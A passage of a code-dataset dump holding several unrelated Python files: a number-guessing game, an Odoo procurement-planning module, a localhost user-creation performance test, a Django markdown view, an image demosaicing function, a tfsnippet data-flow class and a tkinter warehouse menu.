print_centered('Type in menu number: ')\n\n# Liefert vom Schwierigkeitsgrad abhängige Parameter\ndef get_setting_dif_level(level):\n # max_choices_comp, max_turns, score_raiser, score_downer\n if level == 1:\n return 5, 2, 5, 2\n elif level == 2:\n return 10, 3, 10, 3\n elif level == 3:\n return 50, 5, 50, 10\n\n# Speichert den aktuellen Score mit Namen in der CSV Datei\ndef save_game():\n print_centered('Do you want to safe youre Score? Type in y or n: ')\n save_game = input()\n if save_game == 'y':\n with open(os.path.join(os.sys.path[0], \"scores.csv\"), 'a+', newline='') as file:\n writer = csv.writer(file)\n writer.writerow([player_name, player_score])\n print_centered('Score saved for ' + player_name)\n input()\n\n# Läd Daten aus CSV / sortiert nach Bubble Sort Algorithmus\ndef show_highscore():\n lst_highscore = []\n\n with open(os.path.join(os.sys.path[0], \"scores.csv\"), mode='r') as csvfile:\n csvreader = csv.reader(csvfile)\n for row in csvreader:\n lst_highscore.append(row)\n # Äußere Schleife die jedes Element nimmt die innere durchführt\n for i in range(1, len(lst_highscore)):\n # Vergleicht äußeres ausgewähltes Element nochmals mit jedem, dass danach kommt, wenn kleiner werden Plätze getauscht\n for j in range(1, len(lst_highscore) - 1):\n if lst_highscore[j][1] < lst_highscore[j + 1][1]:\n lst_highscore[j], lst_highscore[j + 1] = lst_highscore[j + 1], lst_highscore[j]\n \n print_game_title()\n ranking = 0\n for score in lst_highscore:\n if ranking == 0:\n print_centered('Ranking'.ljust(10) + score[0].ljust(20) + score[1].ljust(10))\n print_centered('')\n else:\n print_centered(str(ranking).ljust(10) + score[0].ljust(20) + score[1].ljust(10))\n ranking += 1\n \n input()\n start_game()\n\n# Startet Spiel mit Titel und Menü\ndef start_game(): \n menu_choice = 0\n print_game_title()\n print_menu()\n menu_choice = get_correct_input([1, 2, 3])\n menu_choice = int(menu_choice)\n if menu_choice == 1:\n print_game_title()\n global player_name\n if player_name == None:\n print_centered('Type in your username: ')\n player_name = input()\n play_game()\n elif menu_choice == 2:\n show_highscore()\n elif menu_choice == 3:\n print_game_info()\n\n# Zwingt User so lange eine Eingabe zu machen, bis richtige Möglichkeit vorhanden --> Param: Mögliche Antworten (liste)\n# anpassen, dass liste erst in liste mit strings umgewandelt wird\ndef get_correct_input(lst_right_inps):\n\n lst_strs = []\n for elem in lst_right_inps:\n lst_strs.append(str(elem))\n right_input = False\n while (right_input == False): \n inp = input() \n if inp in lst_strs:\n right_input = True\n else:\n if len(lst_right_inps) < 4:\n items = ' or '.join(lst_strs)\n print_centered('Please type in {} and press Enter!'.format(items))\n else:\n print_centered('Enter a number between ' + lst_strs[0] + ' and ' + lst_strs[-1] + '!')\n return inp\n\n# Spiel\ndef play_game():\n # Player Score und lives auf global setzen, da scope globaö\n global player_score\n global lives\n\n # Schleifen Variable für jeweilige Runde\n turn_active = True\n # Spielinformationen\n dif_level = 0\n turn = 1\n comp_choice = 0\n player_choice = 0\n play_again = ''\n\n # Vom Schwierigkeitsgrad abhängige Variablen für Spieldynamik\n max_choices_comp = 0\n max_turns = 0 \n score_raiser = 0\n score_downer = 0\n\n print_game_title()\n print_centered('Choose your difficulty level: ')\n print_centered('1 - easy ')\n print_centered('2 - middle')\n print_centered('3 - hard ')\n print_centered('Type in your level of difficulty: ')\n dif_level = get_correct_input([1, 2, 3])\n dif_level = int(dif_level)\n max_choices_comp, max_turns, score_raiser, score_downer = get_setting_dif_level(dif_level)\n \n print_game_title()\n comp_choice = random.randint(1, max_choices_comp)\n # print_centered(comp_choice)\n print_centered('Computers number is between 1 and ' + str(max_choices_comp))\n print_centered('You got ' + str(max_turns) + ' trys.')\n \n # Schleife für jeweilige Runde\n while (turn_active == True and turn <= max_turns):\n print()\n print_centered('###### Turn ' + str(turn) + ' ######')\n print_centered('Lives: ' + str(lives))\n print_centered('Player Score: ' + str(player_score))\n print()\n print_centered('Make a guess: ')\n player_choice = get_correct_input(list(range(1, max_choices_comp + 1)))\n player_choice = int(player_choice)\n print()\n # Eigentliche Spieldynamik (Abfrage ob eingegebene Zahl die richtige ist)\n if player_choice == comp_choice:\n print_centered('Computers Secret Number: ' + str(comp_choice))\n print_centered('You won! :)')\n print_centered('+ ' + str(score_raiser) + ' Points')\n player_score += score_raiser\n # Falls man die Zahl beim ersten Versuch erraten hat bekommt man ein extra Leben\n if turn == 1:\n print_centered('+ 1 live!')\n lives +=1\n print_centered('Player Score: ' + str(player_score))\n turn_active = False\n input()\n else:\n # Gibt Hinweis ob Zahl höher oder kleiner ist\n if player_choice > comp_choice:\n print_centered('Hint: to big!')\n else:\n print_centered('Hint: to small!')\n score_raiser -= score_downer\n # Falls keine Versuche zu raten mehr möglich sind\n if turn == max_turns:\n print()\n print_centered('You Loose!')\n print_centered('No trys left!')\n print_centered('Computers Secret Number was: ' + str(comp_choice))\n print_centered('- 1 Live :(')\n lives -= 1\n input()\n else:\n print_centered('Try again!')\n turn += 1\n print()\n \n print_game_title()\n print_centered('Player Score: ' + str(player_score))\n print_centered('Lives: ' + str(lives))\n print()\n if lives > 0:\n print_centered('Play again? Type in y or n: ')\n play_again = get_correct_input(['y', 'n'])\n if play_again == 'y':\n start_game()\n elif play_again == 'n':\n global game_active\n game_active = False \n save_game()\n else:\n print_centered('No lives left!')\n save_game()\n input()\n \n# GAME\nwhile(game_active == True):\n start_game()\n","repo_name":"tommy801/num_guesser","sub_path":"number_guesser_v2_0.py","file_name":"number_guesser_v2_0.py","file_ext":"py","file_size_in_byte":8243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37441187970","text":"from datetime import datetime\nfrom openerp.osv import fields, osv\nfrom openerp.tools.translate import _\nfrom openerp.tools import DEFAULT_SERVER_DATE_FORMAT, DEFAULT_SERVER_DATETIME_FORMAT\nimport openerp.addons.decimal_precision as dp\nfrom openerp import api\n\nclass cbn (osv.Model):\n\n _inherit = 'mail.thread'\n\n\n _name = 'cbn'\n _description = 'Calcul des besoin nets'\n #_order= 'pdp_id asc'\n _columns = {\n 'name': fields.char('Plan', required=True, copy=False,\n readonly=True, default='/', select=True),\n 'pdp_id': fields.many2one('pdp', 'PDP', domain=[('state', '=', 'freezed')]),\n 'line_ids': fields.one2many('cbn.line', 'cbn_id', 'Quantités brutes', copy=True,ondelete='cascade', select=True, readonly=False),\n 'line_brut_bom_ids': fields.one2many('cbn.raw.bom', 'cbn_id', 'Produits intermédiare', copy=True,ondelete='cascade', select=False, readonly=False, states={'draft':[('readonly',False)]}),\n\n 'line_stock_ids': fields.one2many('cbn.stock', 'cbn_id', 'Quantité en Stock', copy=True,ondelete='cascade', select=True, readonly=False),\n 'line_recept_ids': fields.one2many('cbn.recept', 'cbn_id', 'En réception', copy=True,ondelete='cascade', select=True, readonly=False),\n 'line_definitive_ids': fields.one2many('cbn.definitive', 'cbn_id', 'A approvisionner', copy=True,ondelete='cascade', select=True, readonly=False),\n 'line_definitive_common_ids': fields.one2many('cbn.definitive.common', 'cbn_id', 'Produits communs', copy=True,ondelete='cascade', select=True, readonly=False),\n 'state' : fields.selection([('draft', \"Brouillon\"),('confirmed', \"Confirmée\"),('freezed', \"Gelé\"),('canceled', \"Annulé\")], 'Etat',default='draft')\n }\n\n _defaults = {\n 'name': lambda obj, cr, uid, context: '/',}\n\n\n## _sql_constraints = [\n## ('name_uniq', 'unique(name, company_id)', 'Plan must be unique per Company!'),\n## ('pdp_uniq', 'unique(pdp_id, company_id)', 'Plan must be unique per Company!'),\n## ]\n\n def name_get(self, cr, uid, ids, context=None):\n if not ids:\n return []\n if isinstance(ids, (int, long)):\n ids = [ids]\n reads = self.read(cr, uid, ids, ['name'], context=context)\n res = []\n for record in reads:\n name = record['name']\n res.append((record['id'], name))\n return res\n\n def unlink(self, cr, uid, ids, context=None):\n CBNS = self.read(cr, uid, ids, ['state'], context=context)\n unlink_ids = []\n for s in CBNS:\n if s['state'] in ['draft', 'canceled']:\n unlink_ids.append(s['id'])\n else:\n raise osv.except_osv(_('Invalid Action!'), _('Vous ne pouvez pas supprimer un CBN non brouillon ou non annulé!'))\n\n return super(cbn, self).unlink(cr, uid, unlink_ids, context=context)\n\n def create(self, cr, uid, vals, context=None):\n if context is None:\n context = {}\n if vals.get('name', '/') == '/':\n vals['name'] = self.pool.get('ir.sequence').get(cr, uid, 'cbn', context=context) or '/'\n vals['name'] = self.pool.get('ir.sequence').get(cr, uid, 'cbn', context=context) or '/'\n\n ctx = dict(context or {}, mail_create_nolog=True)\n new_id = super(cbn, self).create(cr, uid, vals, context=ctx)\n self.message_post(cr, uid, [new_id], body=_(\"CBN created\"), context=ctx)\n return new_id\n\n def action_load_stock(self, cr, uid, ids, context=None):\n cbn_stockc_obj = self.pool.get('cbn.stock')\n a=cbn_stockc_obj.search(cr, uid, [('cbn_id', 'in', ids)], context=context)\n cbn_stockc_obj.unlink(cr, uid, a, context)\n\n for record in self.browse(cr, uid, ids, context):\n\n for product in record.line_ids:\n\n cbn_stockc_obj_id=cbn_stockc_obj.create(cr,uid,{\n 'product_id': product.product_id.id,\n 'cbn_id':record.id,\n 'product_uom_id':product.product_id.uom_id.id,\n 'stock_available':product.product_id.qty_available,\n 'needed_quantity':product.needed_quantity,\n })\n #raise osv.except_osv(_(\"Error!\"), _(cbn_stockc_obj_id))\n return True\n\n def action_load_recepr(self, cr, uid, ids, context=None):\n sql=\"select product_id, sum(product_qty) as product_qty from purchase_order_line group by product_id \"\n cr.execute(sql)\n products=[]\n quantities=[]\n for t in cr.dictfetchall():\n products.append (t['product_id'])\n quantities.append (t['product_qty'])\n recept_obj = self.pool.get('cbn.recept')\n a=recept_obj.search(cr, uid, [('cbn_id', 'in', ids)], context=context)\n recept_obj.unlink(cr, uid, a, context)\n for record in self.browse(cr, uid, ids, context):\n\n for product in record.line_stock_ids:\n recept=0\n if product.product_id.id in products:\n\n recept=quantities[products.index(product.product_id.id)]\n recept_obj_id=recept_obj.create(cr,uid,{\n 'product_id': product.product_id.id,\n 'cbn_id':record.id,\n 'product_uom_id':product.product_id.uom_id.id,\n 'commanded':recept,\n #'douane': recept, #todo\n #'reception': recept, #todo\n #'total_reception':\n 'stock_available': product.stock_available,\n 'needed_quantity':product.needed_quantity,\n\n\n })\n\n\n def action_load_defitive_needs(self, cr, uid, ids, context=None):\n## sql=\"select product_id, sum(product_qty) as product_qty from purchase_order_line group by product_id \"\n## cr.execute(sql)\n## products=[]\n## quantities=[]\n## for t in cr.dictfetchall():\n## products.append (t['product_id'])\n## quantities.append (t['product_qty'])\n\n self.pool.get('cbn.definitive').unlink(cr, uid, self.pool.get('cbn.definitive').search(cr, uid, [('cbn_id', 'in', ids)], context=context), context)\n self.pool.get('cbn.definitive.common').unlink(cr, uid, self.pool.get('cbn.definitive.common').search(cr, uid, [('cbn_id', 'in', ids)], context=context), context)\n for record in self.browse(cr, uid, ids, context):\n\n for product in record.line_recept_ids:\n if product.product_id.is_shared:\n\n self.pool.get('cbn.definitive.common').create(cr,uid,{\n 'product_id': product.product_id.id,\n 'cbn_id':record.id,\n 'product_uom_id':product.product_id.uom_id.id,\n 'needed_quantity': product.needed_quantity,\n 'total_reception': product.total_reception,\n 'stock_available': product.stock_available,\n 'purchaser_id': product.product_id.product_manager.id,\n 'categ_id': product.product_id.categ_id.id,\n\n #'total_to_supply': fields.float(string='To supply',compute='_get_total_supply',readonly=True,store=True),\n })\n else:\n self.pool.get('cbn.definitive').create(cr,uid,{\n 'product_id': product.product_id.id,\n 'cbn_id':record.id,\n 'product_uom_id':product.product_id.uom_id.id,\n 'needed_quantity': product.needed_quantity,\n 'total_reception': product.total_reception,\n 'stock_available': product.stock_available,\n #'total_to_supply': fields.float(string='To supply',compute='_get_total_supply',readonly=True,store=True),\n })\n def exists_in_lines(self, cr, uid, ids,acheteur,categ,dai,context=None):\n for i in dai:\n if acheteur==i[0] and categ==i[2]:\n return True, i[1]\n\n return False, None\n def generate_dai(self, cr, uid, ids, context=None):\n #dai_purchaser=[]\n #cbn_stockc_obj = self.pool.get('cbn.stock')\n dais=self.pool.get('dai').browse(cr, uid, self.pool.get('dai').search(cr, uid, [('cbn_id', 'in', ids)], context=context), context)\n process_begin=False\n for i in dais:\n if i.state!='draft':\n process_begin=True\n if process_begin:\n raise osv.except_osv(_(\"Error!\"), _(\"Vous ne pouvez pas regénérer les DAI car au moins une a subi un changement\"))\n else:\n self.pool.get('dai').unlink(cr, uid, self.pool.get('dai').search(cr, uid, [('cbn_id', 'in', ids)], context=context), context)\n\n acheteur_exist=False\n dai_purchaser=[]\n dai_obj = self.pool.get('dai')\n dai_line_obj=self.pool.get('dai.line')\n for record in self.browse(cr, uid, ids, context):\n\n\n\n for product in record.line_definitive_ids:\n #if (product.product_id.product_manager):\n if (self.exists_in_lines(cr, uid, ids,product.product_id.product_manager.id,product.product_id.categ_id.id,dai_purchaser,context=context)[0]==True) and product.total_to_supply>=0:\n dai_raw=dai_line_obj.create(cr,uid,{\n 'product_id': product.product_id.id,\n 'dai_id':self.exists_in_lines(cr, uid, ids,product.product_id.product_manager.id,product.product_id.categ_id.id,dai_purchaser,context=context)[1],\n 'product_uom_id':product.product_uom_id.id,\n 'requested_quantity':product.total_to_supply,\n 'modified_quantity':product.total_to_supply,\n\n #'purchaser_id':product.product_id.product_manager,\n\n\n })\n else:\n\n ub=product.product_id.product_manager.default_operating_unit_id.id\n dai_id = dai_obj.create(cr,uid,{'cbn_id':record.id, 'request_user_id':uid,'purchaser_id':product.product_id.product_manager.id,'organization_unit_id':ub,'categ_id':product.product_id.categ_id.id,'type_demande':'Automatique'})\n dai_purchaser.append([product.product_id.product_manager.id,dai_id,product.product_id.categ_id.id])\n #insert acheteur, dai\n if product.total_to_supply>=0:\n dai_raw=dai_line_obj.create(cr,uid,{\n 'product_id': product.product_id.id,\n 'dai_id':dai_id,\n 'product_uom_id':product.product_uom_id.id,\n 'requested_quantity':product.total_to_supply,\n 'modified_quantity':product.total_to_supply,\n\n\n })\n for product in record.line_definitive_common_ids:\n #if (product.product_id.product_manager):\n if (self.exists_in_lines(cr, uid, ids,product.purchaser_id.id,product.product_id.categ_id.id,dai_purchaser,context=context)[0]==True) and product.total_to_supply>=0:\n dai_raw=dai_line_obj.create(cr,uid,{\n 'product_id': product.product_id.id,\n 'dai_id':self.exists_in_lines(cr, uid, ids,product.purchaser_id.id,product.product_id.categ_id.id,dai_purchaser,context=context)[1],\n 'product_uom_id':product.product_uom_id.id,\n 'requested_quantity':product.total_to_supply,\n 'modified_quantity':product.total_to_supply,\n\n #'purchaser_id':product.purchaser_id.id,\n\n\n })\n else:\n ub=product.product_id.product_manager.default_operating_unit_id.id\n dai_id = dai_obj.create(cr,uid,{'cbn_id':record.id, 'request_user_id':uid,'purchaser_id':product.purchaser_id.id,'organization_unit_id':ub,'categ_id':product.product_id.categ_id.id,'type_demande':'Automatique'})\n dai_purchaser.append([product.product_id.product_manager.id,dai_id,product.product_id.categ_id.id])\n #insert acheteur, dai\n if product.total_to_supply>=0:\n dai_raw=dai_line_obj.create(cr,uid,{\n 'product_id': product.product_id.id,\n 'dai_id':dai_id,\n 'product_uom_id':product.product_uom_id.id,\n 'requested_quantity':product.total_to_supply,\n 'modified_quantity':product.total_to_supply,\n\n\n })\n #else:\n #raise osv.except_osv(_('Invalid Action!'), _(\"Le produit \"+str(product.product_id.default_code)+\" n'a pas d'acheteur\"))\n return True\n @api.multi\n def button_confirm(self):\n self.state = 'confirmed'\n @api.multi\n def button_freeze(self):\n self.state = 'freezed'\n @api.multi\n def button_cancel(self):\n self.state = 'canceled'\n\n\n\n\nclass cbn_line (osv.osv):\n _name = \"cbn.line\"\n _description = \"Raw of Material lines\"\n _rec_name = 'product_id'\n\n _columns = {\n 'product_id': fields.many2one('product.product', string= 'Product', domain=[('purchase_ok', '=', False)],readonly=True),\n 'product_uom_id': fields.many2one('product.uom', string='Product Unit of Measure',readonly=True),\n 'cbn_id': fields.many2one('cbn',string='CBN', ondelete='cascade'),\n 'needed_quantity': fields.float(string='Needed Quantity',readonly=True)\n\n }\n\nclass cbn_stock (osv.osv):\n _name = \"cbn.stock\"\n _description = \"Raw of Material lines\"\n _rec_name = 'product_id'\n\n _columns = {\n 'product_id': fields.many2one('product.product', string= 'Produit', domain=[('purchase_ok', '=', False)],readonly=True),\n 'product_uom_id': fields.many2one('product.uom', string='Unité de mesure',readonly=True),\n 'cbn_id': fields.many2one('cbn',string='CBN', ondelete='cascade'),\n 'stock_available': fields.float(string='Quantité disponible',readonly=True),\n 'needed_quantity':fields.float(string='Quantité requise',readonly=True),\n }\n\nclass cbn_recept (osv.osv):\n _name = \"cbn.recept\"\n _description = \"Raw of Material lines\"\n _rec_name = 'product_id'\n @api.depends('commanded', 'douane','reception')\n def _get_total_command(self):\n for record in self:\n record.total_reception=record.commanded+record.douane+record.reception\n\n\n\n _columns = {\n 'product_id': fields.many2one('product.product', string= 'Produit', domain=[('purchase_ok', '=', False)],readonly=True),\n 'product_uom_id': fields.many2one('product.uom', string='Unité de mesure',readonly=True),\n 'cbn_id': fields.many2one('cbn',string='CBN', ondelete='cascade'),\n 'commanded': fields.float(string='Commandée',readonly=True),\n 'douane': fields.float(string='Douane',readonly=True),\n 'reception': fields.float(string='Réception',readonly=True),\n 'total_reception': fields.float(string='Total commande',compute='_get_total_command',readonly=True,store=True),\n 'stock_available': fields.float(string='Quantité disponible',readonly=True),\n 'needed_quantity':fields.float(string='Quantité requise',readonly=True),\n\n\n }\n\nclass cbn_definitve (osv.osv):\n _name = \"cbn.definitive\"\n _description = \"Definitive CBN\"\n _rec_name = 'product_id'\n\n @api.depends('needed_quantity', 'total_reception','stock_available')\n def _get_total_supply(self):\n for record in self:\n record.total_to_supply=record.needed_quantity-record.total_reception-record.stock_available\n\n _columns = {\n 'product_id': fields.many2one('product.product', string= 'Produit', domain=[('purchase_ok', '=', False)],readonly=True),\n 'product_uom_id': fields.many2one('product.uom', string='Unité de mesure',readonly=True),\n 'cbn_id': fields.many2one('cbn',string='CBN', ondelete='cascade'),\n 'needed_quantity': fields.float(string='Qty brute',readonly=True),\n 'total_reception': fields.float(string='En reception',readonly=True),\n 'stock_available': fields.float(string='En stock',readonly=True),\n 'total_to_supply': fields.float(string='Qty fournir',compute='_get_total_supply',readonly=True,store=True),\n\n }\n\nclass cbn_definitve_common (osv.osv):\n _name = \"cbn.definitive.common\"\n _description = \"Produits communs\"\n _rec_name = 'product_id'\n\n @api.depends('needed_quantity', 'total_reception','stock_available')\n def _get_total_supply(self):\n for record in self:\n record.total_to_supply=record.needed_quantity-record.total_reception-record.stock_available\n\n _columns = {\n 'product_id': fields.many2one('product.product', string= 'Produit', domain=[('purchase_ok', '=', False)]),\n 'product_uom_id': fields.many2one('product.uom', string='Unité de mesure'),\n 'purchaser_id': fields.many2one('res.users', string='Acheteur'),\n 'categ_id': fields.many2one('product.category', string='Catégorie'),\n 'cbn_id': fields.many2one('cbn',string='CBN', ondelete='cascade'),\n 'needed_quantity': fields.float(string='quantité brute'),\n 'total_reception': fields.float(string='En reception'),\n 'stock_available': fields.float(string='En stock'),\n 'total_to_supply': fields.float(string='Qty à fournir',compute='_get_total_supply',store=True),\n\n }\n\n\nclass cbn_raw_bom(osv.osv):\n _name = \"cbn.raw.bom\"\n _description = \"Semis finis\"\n _rec_name = 'product_id'\n\n\n\n\n\n\n _columns = {\n 'product_id': fields.many2one('product.product', string= 'Produit', domain=[('purchase_ok', '=', False)],readonly=False),\n 'product_uom_id': fields.many2one('product.uom', string='Unité de mesure',readonly=False),\n 'cbn_id': fields.many2one('cbn',string='CBN', ondelete='cascade'),\n 'disponible': fields.float(string='Disponible',readonly=False),\n\n #'parent_product_id': fields.many2many('product.product', 'pdp_raw_group_lines', 'pdp_raw_group_id', 'product_id', 'Nomenclatures', readonly=True),\n\n }\n","repo_name":"MohammedBelkacem/Odoo8Apps","sub_path":"eniem_pdp/models/cbn.py","file_name":"cbn.py","file_ext":"py","file_size_in_byte":17981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40949079708","text":"import unittest\nimport os\nimport requests\nimport json\nimport random\n\nclass TestPerf(unittest.TestCase):\n\tBASE_URL = os.environ.get('BASE_URL', 'http://localhost:2070/')\n\n\tdef test_perf(self):\n\t\ttestId = str(random.randint(0, 1000))\n\t\tfor i in range(1, 1000):\n\t\t\tself.create_user(testId + '.' + str(i))\n\n\tdef create_user(self, suffix):\n\t\tuser = {\n\t\t\t'username': 'perf-' + suffix,\n\t\t\t'password': 'abc123'\n\t\t}\n\t\theaders = {\n\t\t\t'Content-Type': 'application/json'\n\t\t}\n\t\tresponse = requests.post(self.BASE_URL + 'users/', headers=headers, data=json.dumps(user))\n\t\tself.assertEqual(response.status_code, 200, response.text)\n\nif __name__ == '__main__':\n\tunittest.main()\n","repo_name":"fjaderboll/datahub-redis","sub_path":"app/test/testperf.py","file_name":"testperf.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23972920111","text":"from django.shortcuts import render\nimport markdown\nfrom django.views.generic.base import View\n\nfrom blog.forms import MDEditorForm\nfrom .models import Post\n\n\ndef PostView(request):\n post = Post.objects.all()\n for p in post:\n p.content = markdown.markdown(\n p.content,\n extensions=[\n 'markdown.extensions.extra',\n 'markdown.extensions.codehilite', # 代码高亮\n 'markdown.extensions.toc',\n ]\n )\n return render(request, 'index.html', {'post': post})\n\n\nclass IndexView(View):\n def get(self, request):\n form = MDEditorForm()\n return render(request, 'mdeditortest.html', {'form': form})\n","repo_name":"LeeXyan/lxgzhw006","sub_path":"hw_001_Django/hw_004_Mdeditor/blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31358516855","text":"import numpy as np\nfrom scipy import signal, ndimage\n\ndef run(img):\n new_img = np.zeros(img.shape).astype(float)\n\n conv_kernel_1 = np.array([[1, 2, 1], [2, 4, 2], [1, 2, 1]])\n conv_kernel_2 = np.array([[0, 1, 0], [1, 4, 1], [0, 1, 0]])\n\n # 需要先设置为 float, 否则溢出!\n # new_img = np.zeros_like(img)\n # test = (signal.convolve2d(img[:, :, 0], conv_kernel_1, mode='same'))\n # print(test[1, 1])\n # new_img[:, :, 0] = test\n # print(new_img[1, 1])\n\n new_img[:, :, 0] = signal.convolve2d(img[:, :, 0], conv_kernel_1, mode='same') / 4\n new_img[:, :, 1] = signal.convolve2d(img[:, :, 1], conv_kernel_2, mode='same') / 4\n new_img[:, :, 2] = signal.convolve2d(img[:, :, 2], conv_kernel_1, mode='same') / 4\n\n new_img = (new_img + 0.5).clip(0, 255.5)\n return new_img.astype(np.uint8)\n","repo_name":"masterAllen/Demosaic","sub_path":"methods/Bilinear.py","file_name":"Bilinear.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"11547985120","text":"import numpy as np\nfrom numpy.random import RandomState\n\nfrom tfsnippet.utils import minibatch_slices_iterator\nfrom .base import ExtraInfoDataFlow\n\n__all__ = ['ArrayFlow']\n\n\ndef _make_readonly(arr):\n arr = np.asarray(arr)\n arr.setflags(write=False)\n return arr\n\n\nclass ArrayFlow(ExtraInfoDataFlow):\n \"\"\"\n Using numpy-like arrays as data source flow.\n\n Usage::\n\n array_flow = DataFlow.arrays([x, y], batch_size=256, shuffle=True,\n skip_incomplete=True)\n for batch_x, batch_y in array_flow:\n ...\n \"\"\"\n\n def __init__(self, arrays, batch_size,\n shuffle=False, skip_incomplete=False, random_state=None):\n \"\"\"\n Construct an :class:`ArrayFlow`.\n\n Args:\n arrays: List of numpy-like arrays, to be iterated through\n mini-batches. These arrays should be at least 1-d,\n with identical first dimension.\n batch_size (int): Size of each mini-batch.\n shuffle (bool): Whether or not to shuffle data before iterating?\n (default :obj:`False`)\n skip_incomplete (bool): Whether or not to exclude the last\n mini-batch if it is incomplete? (default :obj:`False`)\n random_state (RandomState): Optional numpy RandomState for\n shuffling data before each epoch. (default :obj:`None`,\n use the global :class:`RandomState`).\n \"\"\"\n # validate parameters\n arrays = tuple(arrays)\n if not arrays:\n raise ValueError('`arrays` must not be empty.')\n for a in arrays:\n if not hasattr(a, 'shape'):\n raise ValueError('`arrays` must be numpy-like arrays.')\n if len(a.shape) < 1:\n raise ValueError('`arrays` must be at least 1-d arrays.')\n data_length = len(arrays[0])\n for a in arrays[1:]:\n if len(a) != data_length:\n raise ValueError('`arrays` must have the same data length.')\n\n # memorize the parameters\n super(ArrayFlow, self).__init__(\n array_count=len(arrays),\n data_length=data_length,\n data_shapes=tuple(a.shape[1:] for a in arrays),\n batch_size=batch_size,\n skip_incomplete=skip_incomplete,\n is_shuffled=shuffle\n )\n self._arrays = arrays\n self._random_state = random_state or np.random\n\n # internal indices buffer\n self._indices_buffer = None\n\n @property\n def the_arrays(self):\n \"\"\"Get the tuple of arrays accessed by this :class:`ArrayFlow`.\"\"\"\n return self._arrays\n\n def _minibatch_iterator(self):\n # shuffle the source arrays if necessary\n if self.is_shuffled:\n if self._indices_buffer is None:\n t = np.int32 if self._data_length < (1 << 31) else np.int64\n self._indices_buffer = np.arange(self._data_length, dtype=t)\n self._random_state.shuffle(self._indices_buffer)\n\n def get_slice(s):\n return tuple(\n _make_readonly(a[self._indices_buffer[s]])\n for a in self.the_arrays\n )\n else:\n def get_slice(s):\n return tuple(_make_readonly(a[s]) for a in self.the_arrays)\n\n # now iterator through the mini-batches\n for batch_s in minibatch_slices_iterator(\n length=self.data_length,\n batch_size=self.batch_size,\n skip_incomplete=self.skip_incomplete):\n yield get_slice(batch_s)\n","repo_name":"NetManAIOps/TraceAnomaly","sub_path":"traceanomaly/tfsnippet/dataflows/array_flow.py","file_name":"array_flow.py","file_ext":"py","file_size_in_byte":3634,"program_lang":"python","lang":"en","doc_type":"code","stars":293,"dataset":"github-code","pt":"3"} +{"seq_id":"70198406482","text":"import tkinter as tk\nfrom GR_1 import GR_1\nfrom stock_movement import stock_movement\nfrom report_direct_export import stock_report\nfrom report_direct_export import stock_aging\nfrom report_direct_export import transaction_history\nfrom report_direct_export import shelf_life_report\nfrom GI_1 import gi_1\nfrom manual_QR import manual_qr\nfrom stock_report_detail import tbd1\n\ndef fc_choose(p_user, p_hostname, p_ip):\n fc_page = tk.Tk()\n fc_page.geometry('600x350+600+300')\n fc_page.title('Function selection')\n fc_page.resizable(0,0)\n\n # attach image\n canvas = tk.Canvas(fc_page, width = 600, height = 350, highlightthickness = 0, borderwidth = 0)\n image_file = tk.PhotoImage(file='function.gif')\n image = canvas.create_image(0,0, anchor='nw', image=image_file)\n canvas.place(x = 0, y = 0, anchor = 'nw')\n\n # define general offset to adjust the button position\n x0 = 20\n y0 = 10\n\n # GR scanning button\n def gr_scanning():\n # fc_page.destroy()\n fc_page.iconify()\n GR_1(p_user, p_hostname, p_ip)\n\n\n b1 = tk.Button(canvas, text = 'GR Scanning', width = 18, font = ('Calibri', 10, 'bold'), command = gr_scanning)\n b1.place(x = 30+x0, y = 100+y0)\n\n # Stock movement button\n def stock_movement_choose():\n # fc_page.destroy()\n fc_page.iconify()\n stock_movement(p_user)\n\n b2 = tk.Button(canvas, text = 'Stock Movement', width = 18, font = ('Calibri', 10, 'bold'), command = stock_movement_choose)\n b2.place(x = 30+x0, y = 150+y0)\n\n # GI scanning button\n def gi_scanning():\n fc_page.iconify()\n gi_1(p_user)\n\n b3 = tk.Button(canvas, text = 'GI Scanning', width = 18, font = ('Calibri', 10, 'bold'), command = gi_scanning)\n b3.place(x = 30+x0, y = 200+y0)\n\n # Stock Adjustment\n def stock_adjustment():\n pass\n\n b4 = tk.Button(canvas, text = 'Stock Adjustment', width = 18, font = ('Calibri', 10, 'bold'), command = stock_adjustment)\n b4.place(x = 30+x0, y = 250+y0)\n\n # Real-time Stock Report\n def stock_report_choose():\n stock_report(p_user)\n\n b5 = tk.Button(canvas, text = 'Real-time Stock Report', width = 18, font = ('Calibri', 10, 'bold'), command = stock_report_choose)\n b5.place(x = 210+x0, y = 100+y0)\n\n\n # Stock Aging Report\n def stock_aging_report():\n stock_aging(p_user)\n\n b6 = tk.Button(canvas, text = 'Stock Aging Report', width = 18, font = ('Calibri', 10, 'bold'), command = stock_aging_report)\n b6.place(x = 210+x0, y = 150+y0)\n\n # Transaction History\n def transaction_history_choose():\n transaction_history(p_user)\n\n b7 = tk.Button(canvas, text = 'Transaction History', width = 18, font = ('Calibri', 10, 'bold'), command = transaction_history_choose)\n b7.place(x = 210+x0, y = 200+y0)\n\n # Shelf Life Report\n def shelf_life():\n shelf_life_report(p_user)\n\n b8 = tk.Button(canvas, text = 'Shelf Life Report', width = 18, font = ('Calibri', 10, 'bold'), command = shelf_life)\n b8.place(x = 210+x0, y = 250+y0)\n\n # # Reverse Operation\n # def reverse_operation():\n # pass\n #\n # b9 = tk.Button(canvas, text = 'Reverse Operation', width = 18, font = ('Calibri', 10, 'bold'), command = reverse_operation)\n # b9.place(x = 390+x0, y = 200+y0)\n\n # Manully QR Generation\n def manually_qr_generation():\n fc_page.iconify()\n manual_qr(p_user)\n b9 = tk.Button(canvas, text='Manully QR Generation', width=18, font=('Calibri', 10, 'bold'), command=manually_qr_generation)\n b9.place(x=390 + x0, y=100 + y0)\n\n # TBD1\n def tbd_choose():\n fc_page.iconify()\n tbd1()\n b10 = tk.Button(canvas, text='TBD1', width=18, font=('Calibri', 10, 'bold'), command=tbd_choose)\n b10.place(x=390 + x0, y=150 + y0)\n\n # TBD2\n b11 = tk.Button(canvas, text='TBD2', width=18, font=('Calibri', 